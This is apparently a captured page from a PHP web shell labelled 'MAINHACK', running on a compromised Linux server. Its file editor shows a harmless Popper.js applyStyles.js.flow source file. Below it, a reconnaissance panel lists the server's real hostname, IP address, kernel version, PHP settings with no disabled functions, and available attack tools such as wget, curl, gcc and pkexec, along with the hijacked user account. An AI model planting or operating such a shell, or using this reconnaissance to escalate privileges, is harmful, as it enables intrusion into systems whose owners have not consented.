[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: applyStyles.js.flow
// @flow import type { Modifier, ModifierArguments } from '../types'; import getNodeName from '../dom-utils/getNodeName'; import { isHTMLElement } from '../dom-utils/instanceOf'; // This modifier takes the styles prepared by the `computeStyles` modifier // and applies them to the HTMLElements such as popper and arrow function applyStyles({ state }: ModifierArguments<{||}>) { Object.keys(state.elements).forEach((name) => { const style = state.styles[name] || {}; const attributes = state.attributes[name] || {}; const element = state.elements[name]; // arrow is optional + virtual elements if (!isHTMLElement(element) || !getNodeName(element)) { return; } // Flow doesn't support to extend this property, but it's the most // effective way to apply styles to an HTMLElement // $FlowFixMe[cannot-write] Object.assign(element.style, style); Object.keys(attributes).forEach((name) => { const value = attributes[name]; if (value === false) { element.removeAttribute(name); } else { element.setAttribute(name, value === true ? '' : value); } }); }); } function effect({ state }: ModifierArguments<{||}>) { const initialStyles = { popper: { position: state.options.strategy, left: '0', top: '0', margin: '0', }, arrow: { position: 'absolute', }, reference: {}, }; Object.assign(state.elements.popper.style, initialStyles.popper); state.styles = initialStyles; if (state.elements.arrow) { Object.assign(state.elements.arrow.style, initialStyles.arrow); } return () => { Object.keys(state.elements).forEach((name) => { const element = state.elements[name]; const attributes = state.attributes[name] || {}; const styleProperties = Object.keys( state.styles.hasOwnProperty(name) ? state.styles[name] : initialStyles[name] ); // Set all values to an empty string to unset them const style = styleProperties.reduce((style, property) => { style[property] = ''; return style; }, {}); // arrow is optional + virtual elements if (!isHTMLElement(element) || !getNodeName(element)) { return; } Object.assign(element.style, style); Object.keys(attributes).forEach((attribute) => { element.removeAttribute(attribute); }); }); }; } // eslint-disable-next-line import/no-unused-modules export type ApplyStylesModifier = Modifier<'applyStyles', {||}>; export default ({ name: 'applyStyles', enabled: true, phase: 'write', fn: applyStyles, effect, requires: ['computeStyles'], }: ApplyStylesModifier);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.41 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002